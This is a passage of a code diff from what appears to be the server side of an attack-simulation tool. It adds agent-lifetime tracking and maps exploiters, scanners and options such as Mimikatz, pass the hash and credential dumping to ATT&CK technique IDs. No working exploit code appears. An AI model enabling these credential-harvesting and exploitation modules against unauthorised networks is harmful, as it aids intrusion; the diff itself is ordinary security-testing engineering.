modifytime = DateField()
|
||||
# TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing.
|
||||
parent = ListField(ListField(StringField()))
|
||||
config_error = BooleanField()
|
||||
critical_services = ListField(StringField())
|
||||
pba_results = ListField()
|
||||
ttl_ref = ReferenceField(MonkeyTtl)
|
||||
|
||||
# LOGIC
|
||||
@staticmethod
|
||||
def get_single_monkey_by_id(db_id):
|
||||
try:
|
||||
return Monkey.objects(id=db_id)[0]
|
||||
except IndexError:
|
||||
raise MonkeyNotFoundError("id: {0}".format(str(db_id)))
|
||||
|
||||
def is_dead(self):
|
||||
monkey_is_dead = False
|
||||
if self.dead:
|
||||
monkey_is_dead = True
|
||||
else:
|
||||
try:
|
||||
if MonkeyTtl.objects(id=self.ttl_ref.id).count() == 0:
|
||||
# No TTLs - monkey has timed out. The monkey is MIA.
|
||||
monkey_is_dead = True
|
||||
except (mongoengine.DoesNotExist, AttributeError):
|
||||
# Trying to dereference unknown document - the monkey is MIA.
|
||||
monkey_is_dead = True
|
||||
return monkey_is_dead
|
||||
|
||||
|
||||
class MonkeyNotFoundError(Exception):
|
||||
pass
|
|
@ -0,0 +1,40 @@
|
|||
from datetime import datetime, timedelta
|
||||
|
||||
from mongoengine import Document, DateTimeField
|
||||
|
||||
|
||||
class MonkeyTtl(Document):
|
||||
"""
|
||||
This model represents the monkey's TTL, and is referenced by the main Monkey document.
|
||||
See https://docs.mongodb.com/manual/tutorial/expire-data/ and
|
||||
https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663
|
||||
for more information about how TTL indexing works and why this class is set up the way it is.
|
||||
|
||||
If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function.
|
||||
If you wish to create an instance of this class directly, see the inner implementation of
|
||||
create_ttl_expire_in(seconds) to see how to do so.
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def create_ttl_expire_in(expiry_in_seconds):
|
||||
"""
|
||||
Initializes a TTL object which will expire in expire_in_seconds seconds from when created.
|
||||
Remember to call .save() on the object after creation.
|
||||
:param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration
|
||||
that the cleanup thread of mongo might take extra time to delete the TTL from the DB.
|
||||
"""
|
||||
# Using UTC to make the mongodb TTL feature work. See
|
||||
# https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
|
||||
return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds))
|
||||
|
||||
meta = {
|
||||
'indexes': [
|
||||
{
|
||||
'name': 'TTL_index',
|
||||
'fields': ['expire_at'],
|
||||
'expireAfterSeconds': 0
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
expire_at = DateTimeField()
|
|
@ -0,0 +1,9 @@
|
|||
from mongoengine import EmbeddedDocument, StringField, ListField
|
||||
|
||||
|
||||
class PbaResults(EmbeddedDocument):
|
||||
ip = StringField()
|
||||
hostname = StringField()
|
||||
command = StringField()
|
||||
name = StringField()
|
||||
result = ListField()
|
|
@ -0,0 +1,54 @@
|
|||
import uuid
|
||||
from time import sleep
|
||||
from unittest import TestCase
|
||||
|
||||
from monkey import Monkey
|
||||
from monkey_island.cc.models.monkey import MonkeyNotFoundError
|
||||
from monkey_ttl import MonkeyTtl
|
||||
|
||||
|
||||
class TestMonkey(TestCase):
|
||||
"""
|
||||
Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
|
||||
won't work.
|
||||
|
||||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||
server.json file is found and loaded.
|
||||
"""
|
||||
def test_is_dead(self):
|
||||
# Arrange
|
||||
alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
|
||||
alive_monkey_ttl.save()
|
||||
alive_monkey = Monkey(
|
||||
guid=str(uuid.uuid4()),
|
||||
dead=False,
|
||||
ttl_ref=alive_monkey_ttl.id)
|
||||
alive_monkey.save()
|
||||
|
||||
# MIA stands for Missing In Action
|
||||
mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
|
||||
mia_monkey_ttl.save()
|
||||
mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl)
|
||||
mia_monkey.save()
|
||||
# Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance.
|
||||
sleep(1)
|
||||
mia_monkey_ttl.delete()
|
||||
|
||||
dead_monkey = Monkey(guid=str(uuid.uuid4()), dead=True)
|
||||
dead_monkey.save()
|
||||
|
||||
# act + assert
|
||||
self.assertTrue(dead_monkey.is_dead())
|
||||
self.assertTrue(mia_monkey.is_dead())
|
||||
self.assertFalse(alive_monkey.is_dead())
|
||||
|
||||
def test_get_single_monkey_by_id(self):
|
||||
# Arrange
|
||||
a_monkey = Monkey(guid=str(uuid.uuid4()))
|
||||
a_monkey.save()
|
||||
|
||||
# Act + assert
|
||||
# Find the existing one
|
||||
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
|
||||
# Raise on non-existent monkey
|
||||
self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef")
|
|
@ -0,0 +1,30 @@
|
|||
import flask_restful
|
||||
import json
|
||||
from flask import jsonify, request
|
||||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class AttackConfiguration(flask_restful.Resource):
|
||||
@jwt_required()
|
||||
def get(self):
|
||||
return jsonify(configuration=AttackConfig.get_config()['properties'])
|
||||
|
||||
@jwt_required()
|
||||
def post(self):
|
||||
"""
|
||||
Based on request content this endpoint either resets ATT&CK configuration or updates it.
|
||||
:return: Technique types dict with techniques on reset and nothing on update
|
||||
"""
|
||||
config_json = json.loads(request.data)
|
||||
if 'reset_attack_matrix' in config_json:
|
||||
AttackConfig.reset_config()
|
||||
return jsonify(configuration=AttackConfig.get_config()['properties'])
|
||||
else:
|
||||
AttackConfig.update_config({'properties': json.loads(request.data)})
|
||||
AttackConfig.apply_to_monkey_config()
|
||||
return {}
|
||||
|
|
@ -1,7 +1,7 @@
|
|||
import flask_restful
|
||||
from flask import request
|
||||
import json
|
||||
from monkey_island.cc.services.attack.attack_telem import set_results
|
||||
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
|
||||
import logging
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
@ -20,5 +20,5 @@ class AttackTelem(flask_restful.Resource):
|
|||
:param technique: Technique ID, e.g. T1111
|
||||
"""
|
||||
data = json.loads(request.data)
|
||||
set_results(technique, data)
|
||||
AttackTelemService.set_results(technique, data)
|
||||
return {}
|
||||
|
|
|
@ -7,6 +7,7 @@ from flask import request, jsonify, make_response
|
|||
import flask_restful
|
||||
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.models import Monkey
|
||||
from monkey_island.cc.resources.monkey_download import get_monkey_executable
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
|
@ -57,7 +58,7 @@ class LocalRun(flask_restful.Resource):
|
|||
NodeService.update_dead_monkeys()
|
||||
island_monkey = NodeService.get_monkey_island_monkey()
|
||||
if island_monkey is not None:
|
||||
is_monkey_running = not island_monkey["dead"]
|
||||
is_monkey_running = not Monkey.get_single_monkey_by_id(island_monkey["_id"]).is_dead()
|
||||
else:
|
||||
is_monkey_running = False
|
||||
|
||||
|
|
|
@ -2,18 +2,29 @@ import json
|
|||
from datetime import datetime
|
||||
|
||||
import dateutil.parser
|
||||
from flask import request
|
||||
import flask_restful
|
||||
from flask import request
|
||||
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
|
||||
MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
# TODO: separate logic from interface
|
||||
|
||||
|
||||
def create_monkey_ttl():
|
||||
# The TTL data uses the new `models` module which depends on mongoengine.
|
||||
current_ttl = MonkeyTtl.create_ttl_expire_in(MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
|
||||
current_ttl.save()
|
||||
ttlid = current_ttl.id
|
||||
return ttlid
|
||||
|
||||
|
||||
class Monkey(flask_restful.Resource):
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
|
@ -47,6 +58,9 @@ class Monkey(flask_restful.Resource):
|
|||
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
|
||||
|
||||
ttlid = create_monkey_ttl()
|
||||
update['$set']['ttl_ref'] = ttlid
|
||||
|
||||
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
|
||||
|
||||
# Used by monkey. can't secure.
|
||||
|
@ -88,7 +102,7 @@ class Monkey(flask_restful.Resource):
|
|||
parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter'))
|
||||
else:
|
||||
parent_to_add = (parent, None)
|
||||
elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json:
|
||||
elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json:
|
||||
exploit_telem = [x for x in
|
||||
mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.result': {'$eq': True},
|
||||
'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})]
|
||||
|
@ -106,6 +120,8 @@ class Monkey(flask_restful.Resource):
|
|||
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
|
||||
monkey_json.pop('tunnel')
|
||||
|
||||
monkey_json['ttl_ref'] = create_monkey_ttl()
|
||||
|
||||
mongo.db.monkey.update({"guid": monkey_json["guid"]},
|
||||
{"$set": monkey_json},
|
||||
upsert=True)
|
||||
|
|
|
@ -6,11 +6,10 @@ from flask import request, make_response, jsonify
|
|||
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.report import ReportService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||
from monkey_island.cc.services.database import Database
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -26,7 +25,7 @@ class Root(flask_restful.Resource):
|
|||
if not action:
|
||||
return Root.get_server_info()
|
||||
elif action == "reset":
|
||||
return Root.reset_db()
|
||||
return jwt_required()(Database.reset_db)()
|
||||
elif action == "killall":
|
||||
return Root.kill_all()
|
||||
elif action == "is-up":
|
||||
|
@ -40,16 +39,6 @@ class Root(flask_restful.Resource):
|
|||
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
|
||||
completed_steps=Root.get_completed_steps())
|
||||
|
||||
@staticmethod
|
||||
@jwt_required()
|
||||
def reset_db():
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
ConfigService.init_config()
|
||||
logger.info('DB was reset')
|
||||
return jsonify(status='OK')
|
||||
|
||||
@staticmethod
|
||||
@jwt_required()
|
||||
def kill_all():
|
||||
|
|
|
@ -0,0 +1,161 @@
|
|||
import logging
|
||||
from dpath import util
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.attack.attack_schema import SCHEMA
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AttackConfig(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def get_config():
|
||||
config = mongo.db.attack.find_one({'name': 'newconfig'})
|
||||
return config
|
||||
|
||||
@staticmethod
|
||||
def get_config_schema():
|
||||
return SCHEMA
|
||||
|
||||
@staticmethod
|
||||
def reset_config():
|
||||
AttackConfig.update_config(SCHEMA)
|
||||
|
||||
@staticmethod
|
||||
def update_config(config_json):
|
||||
mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def apply_to_monkey_config():
|
||||
"""
|
||||
Applies ATT&CK matrix to the monkey configuration
|
||||
:return:
|
||||
"""
|
||||
attack_techniques = AttackConfig.get_technique_values()
|
||||
monkey_config = ConfigService.get_config(False, True, True)
|
||||
monkey_schema = ConfigService.get_config_schema()
|
||||
AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema)
|
||||
AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema)
|
||||
ConfigService.update_config(monkey_config, True)
|
||||
|
||||
@staticmethod
|
||||
def set_arrays(attack_techniques, monkey_config, monkey_schema):
|
||||
"""
|
||||
Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix
|
||||
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
|
||||
:param monkey_config: Monkey island's configuration
|
||||
:param monkey_schema: Monkey configuration schema
|
||||
"""
|
||||
for key, definition in monkey_schema['definitions'].items():
|
||||
for array_field in definition['anyOf']:
|
||||
# Check if current array field has attack_techniques assigned to it
|
||||
if 'attack_techniques' in array_field and array_field['attack_techniques']:
|
||||
should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
|
||||
attack_techniques)
|
||||
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
|
||||
AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
|
||||
|
||||
@staticmethod
|
||||
def set_booleans(attack_techniques, monkey_config, monkey_schema):
|
||||
"""
|
||||
Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix
|
||||
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
|
||||
:param monkey_config: Monkey island's configuration
|
||||
:param monkey_schema: Monkey configuration schema
|
||||
"""
|
||||
for key, value in monkey_schema['properties'].items():
|
||||
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
|
||||
|
||||
@staticmethod
|
||||
def r_set_booleans(path, value, attack_techniques, monkey_config):
|
||||
"""
|
||||
Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them
|
||||
according to ATT&CK matrix.
|
||||
:param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
|
||||
:param value: Value of config property
|
||||
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
|
||||
:param monkey_config: Monkey island's configuration
|
||||
"""
|
||||
if isinstance(value, dict):
|
||||
dictionary = {}
|
||||
# If 'value' is a boolean value that should be set:
|
||||
if 'type' in value and value['type'] == 'boolean' \
|
||||
and 'attack_techniques' in value and value['attack_techniques']:
|
||||
AttackConfig.set_bool_conf_val(path,
|
||||
AttackConfig.should_enable_field(value['attack_techniques'],
|
||||
attack_techniques),
|
||||
monkey_config)
|
||||
# If 'value' is dict, we go over each of it's fields to search for booleans
|
||||
elif 'properties' in value:
|
||||
dictionary = value['properties']
|
||||
else:
|
||||
dictionary = value
|
||||
for key, item in dictionary.items():
|
||||
path.append(key)
|
||||
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
|
||||
# Method enumerated everything in current path, goes back a level.
|
||||
del path[-1]
|
||||
|
||||
@staticmethod
|
||||
def set_bool_conf_val(path, val, monkey_config):
|
||||
"""
|
||||
Changes monkey's configuration by setting one of its boolean fields value
|
||||
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
|
||||
:param val: Boolean
|
||||
:param monkey_config: Monkey's configuration
|
||||
"""
|
||||
util.set(monkey_config, '/'.join(path), val)
|
||||
|
||||
@staticmethod
|
||||
def should_enable_field(field_techniques, users_techniques):
|
||||
"""
|
||||
Determines whether a single config field should be enabled or not.
|
||||
:param field_techniques: ATT&CK techniques that field uses
|
||||
:param users_techniques: ATT&CK techniques that user chose
|
||||
:return: True, if user enabled all techniques used by the field, false otherwise
|
||||
"""
|
||||
for technique in field_techniques:
|
||||
try:
|
||||
if not users_techniques[technique]:
|
||||
return False
|
||||
except KeyError:
|
||||
logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def r_alter_array(config_value, array_name, field, remove=True):
|
||||
"""
|
||||
Recursively searches config (DFS) for array and removes/adds a field.
|
||||
:param config_value: Some object/value from config
|
||||
:param array_name: Name of array this method should search
|
||||
:param field: Field in array that this method should add/remove
|
||||
:param remove: Removes field from array if true, adds it if false
|
||||
"""
|
||||
if isinstance(config_value, dict):
|
||||
if array_name in config_value and isinstance(config_value[array_name], list):
|
||||
if remove and field in config_value[array_name]:
|
||||
config_value[array_name].remove(field)
|
||||
elif not remove and field not in config_value[array_name]:
|
||||
config_value[array_name].append(field)
|
||||
else:
|
||||
for prop in config_value.items():
|
||||
AttackConfig.r_alter_array(prop[1], array_name, field, remove)
|
||||
|
||||
@staticmethod
|
||||
def get_technique_values():
|
||||
"""
|
||||
Parses ATT&CK config into a dict of techniques and corresponding values.
|
||||
:return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...}
|
||||
"""
|
||||
attack_config = AttackConfig.get_config()
|
||||
techniques = {}
|
||||
for type_name, attack_type in attack_config['properties'].items():
|
||||
for key, technique in attack_type['properties'].items():
|
||||
techniques[key] = technique['value']
|
||||
return techniques
|
|
@ -0,0 +1,88 @@
|
|||
SCHEMA = {
|
||||
"title": "ATT&CK configuration",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"initial_access": {
|
||||
"title": "Initial access",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1078": {
|
||||
"title": "T1078 Valid accounts",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Mapped with T1003 Credential dumping because both techniques "
|
||||
"require same credential harvesting modules. "
|
||||
"Adversaries may steal the credentials of a specific user or service account using "
|
||||
"Credential Access techniques or capture credentials earlier in their "
|
||||
"reconnaissance process.",
|
||||
"depends_on": ["T1003"]
|
||||
}
|
||||
}
|
||||
},
|
||||
"lateral_movement": {
|
||||
"title": "Lateral movement",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1210": {
|
||||
"title": "T1210 Exploitation of Remote services",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Exploitation of a software vulnerability occurs when an adversary "
|
||||
"takes advantage of a programming error in a program, service, or within the "
|
||||
"operating system software or kernel itself to execute adversary-controlled code."
|
||||
},
|
||||
"T1075": {
|
||||
"title": "T1075 Pass the hash",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Pass the hash (PtH) is a method of authenticating as a user without "
|
||||
"having access to the user's cleartext password."
|
||||
}
|
||||
}
|
||||
},
|
||||
"credential_access": {
|
||||
"title": "Credential access",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1110": {
|
||||
"title": "T1110 Brute force",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Adversaries may use brute force techniques to attempt access to accounts "
|
||||
"when passwords are unknown or when password hashes are obtained.",
|
||||
"depends_on": ["T1210"]
|
||||
},
|
||||
"T1003": {
|
||||
"title": "T1003 Credential dumping",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Mapped with T1078 Valid Accounts because both techniques require"
|
||||
" same credential harvesting modules. "
|
||||
"Credential dumping is the process of obtaining account login and password "
|
||||
"information, normally in the form of a hash or a clear text password, "
|
||||
"from the operating system and software.",
|
||||
"depends_on": ["T1078"]
|
||||
}
|
||||
}
|
||||
},
|
||||
"defence_evasion": {
|
||||
"title": "Defence evasion",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1197": {
|
||||
"title": "T1197 Bits jobs",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "Adversaries may abuse BITS to download, execute, "
|
||||
"and even clean up after running malicious code."
|
||||
}
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
|
@ -9,11 +9,16 @@ __author__ = "VakarisZ"
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def set_results(technique, data):
|
||||
"""
|
||||
Adds ATT&CK technique results(telemetry) to the database
|
||||
:param technique: technique ID string e.g. T1110
|
||||
:param data: Data, relevant to the technique
|
||||
"""
|
||||
data.update({'technique': technique})
|
||||
mongo.db.attack_results.insert(data)
|
||||
class AttackTelemService(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def set_results(technique, data):
|
||||
"""
|
||||
Adds ATT&CK technique results(telemetry) to the database
|
||||
:param technique: technique ID string e.g. T1110
|
||||
:param data: Data, relevant to the technique
|
||||
"""
|
||||
data.update({'technique': technique})
|
||||
mongo.db.attack_results.insert(data)
|
||||
|
|
|
@ -13,42 +13,48 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"SmbExploiter"
|
||||
],
|
||||
"title": "SMB Exploiter"
|
||||
"title": "SMB Exploiter",
|
||||
"attack_techniques": ["T1110", "T1075"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WmiExploiter"
|
||||
],
|
||||
"title": "WMI Exploiter"
|
||||
"title": "WMI Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MSSQLExploiter"
|
||||
],
|
||||
"title": "MSSQL Exploiter"
|
||||
"title": "MSSQL Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"RdpExploiter"
|
||||
],
|
||||
"title": "RDP Exploiter (UNSAFE)"
|
||||
"title": "RDP Exploiter (UNSAFE)",
|
||||
"attack_techniques": []
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"Ms08_067_Exploiter"
|
||||
],
|
||||
"title": "MS08-067 Exploiter (UNSAFE)"
|
||||
"title": "MS08-067 Exploiter (UNSAFE)",
|
||||
"attack_techniques": []
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHExploiter"
|
||||
],
|
||||
"title": "SSH Exploiter"
|
||||
"title": "SSH Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
|
@ -111,6 +117,7 @@ SCHEMA = {
|
|||
"BackdoorUser"
|
||||
],
|
||||
"title": "Back door user",
|
||||
"attack_techniques": []
|
||||
},
|
||||
],
|
||||
},
|
||||
|
@ -123,14 +130,16 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"SMBFinger"
|
||||
],
|
||||
"title": "SMBFinger"
|
||||
"title": "SMBFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHFinger"
|
||||
],
|
||||
"title": "SSHFinger"
|
||||
"title": "SSHFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
|
@ -151,14 +160,16 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"MySQLFinger"
|
||||
],
|
||||
"title": "MySQLFinger"
|
||||
"title": "MySQLFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MSSQLFinger"
|
||||
],
|
||||
"title": "MSSQLFinger"
|
||||
"title": "MSSQLFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
|
||||
{
|
||||
|
@ -166,16 +177,30 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"ElasticFinger"
|
||||
],
|
||||
"title": "ElasticFinger"
|
||||
"title": "ElasticFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"properties": {
|
||||
"basic": {
|
||||
"title": "Basic - Credentials",
|
||||
"title": "Basic - Exploits",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"should_exploit": {
|
||||
"title": "Exploit network machines",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"attack_techniques": ["T1210"],
|
||||
"description": "Determines if monkey should try to safely exploit machines on the network"
|
||||
}
|
||||
}
|
||||
},
|
||||
"credentials": {
|
||||
"title": "Credentials",
|
||||
"type": "object",
|
||||
|
@ -389,6 +414,7 @@ SCHEMA = {
|
|||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"attack_techniques": ["T1003", "T1078"],
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
},
|
||||
|
@ -402,6 +428,7 @@ SCHEMA = {
|
|||
"title": "Should use Mimikatz",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"attack_techniques": ["T1003", "T1078"],
|
||||
"description": "Determines whether to use Mimikatz"
|
||||
},
|
||||
}
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
import logging
|
||||
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||
from flask import jsonify
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Database(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def reset_db():
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
ConfigService.init_config()
|
||||
AttackConfig.reset_config()
|
||||
logger.info('DB was reset')
|
||||
return jsonify(status='OK')
|
||||
|
||||
@staticmethod
|
||||
def init_db():
|
||||
if not mongo.db.collection_names():
|
||||
Database.reset_db()
|
||||
|
|
@ -4,9 +4,11 @@ from bson import ObjectId
|
|||
|
||||
import monkey_island.cc.services.log
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.models import Monkey
|
||||
from monkey_island.cc.services.edge import EdgeService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
import socket
|
||||
from monkey_island.cc import models
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
@ -66,7 +68,7 @@ class NodeService:
|
|||
def get_node_label(node):
|
||||
domain_name = ""
|
||||
if node["domain_name"]:
|
||||
domain_name = " ("+node["domain_name"]+")"
|
||||
domain_name = " (" + node["domain_name"] + ")"
|
||||
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
|
||||
|
||||
@staticmethod
|
||||
|
@ -104,7 +106,8 @@ class NodeService:
|
|||
|
||||
@staticmethod
|
||||
def get_monkey_critical_services(monkey_id):
|
||||
critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', [])
|
||||
critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get(
|
||||
'critical_services', [])
|
||||
return critical_services
|
||||
|
||||
@staticmethod
|
||||
|
@ -123,7 +126,7 @@ class NodeService:
|
|||
monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey"
|
||||
|
||||
monkey_os = NodeService.get_monkey_os(monkey)
|
||||
monkey_running = "" if monkey["dead"] else "_running"
|
||||
monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running"
|
||||
return "%s_%s%s" % (monkey_type, monkey_os, monkey_running)
|
||||
|
||||
@staticmethod
|
||||
|
@ -135,13 +138,14 @@ class NodeService:
|
|||
@staticmethod
|
||||
def monkey_to_net_node(monkey, for_report=False):
|
||||
label = monkey['hostname'] if for_report else NodeService.get_monkey_label(monkey)
|
||||
is_monkey_dead = Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead()
|
||||
return \
|
||||
{
|
||||
"id": monkey["_id"],
|
||||
"label": label,
|
||||
"group": NodeService.get_monkey_group(monkey),
|
||||
"os": NodeService.get_monkey_os(monkey),
|
||||
"dead": monkey["dead"],
|
||||
"dead": is_monkey_dead,
|
||||
"domain_name": "",
|
||||
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
|
||||
}
|
||||
|
@ -293,7 +297,8 @@ class NodeService:
|
|||
|
||||
@staticmethod
|
||||
def is_any_monkey_alive():
|
||||
return mongo.db.monkey.find_one({'dead': False}) is not None
|
||||
all_monkeys = models.Monkey.objects()
|
||||
return any(not monkey.is_dead() for monkey in all_monkeys)
|
||||
|
||||
@staticmethod
|
||||
def is_any_monkey_exists():
|
||||
|
|
|
@ -74,6 +74,7 @@
|
|||
"json-loader": "^0.5.7",
|
||||
"jwt-decode": "^2.2.0",
|
||||
"moment": "^2.22.2",
|
||||
"node-sass": "^4.11.0",
|
||||
"normalize.css": "^8.0.0",
|
||||
"npm": "^6.4.1",
|
||||
"prop-types": "^15.6.2",
|
||||
|
@ -93,7 +94,9 @@
|
|||
"react-router-dom": "^4.3.1",
|
||||
"react-table": "^6.8.6",
|
||||
"react-toggle": "^4.0.1",
|
||||
"react-tooltip-lite": "^1.9.1",
|
||||
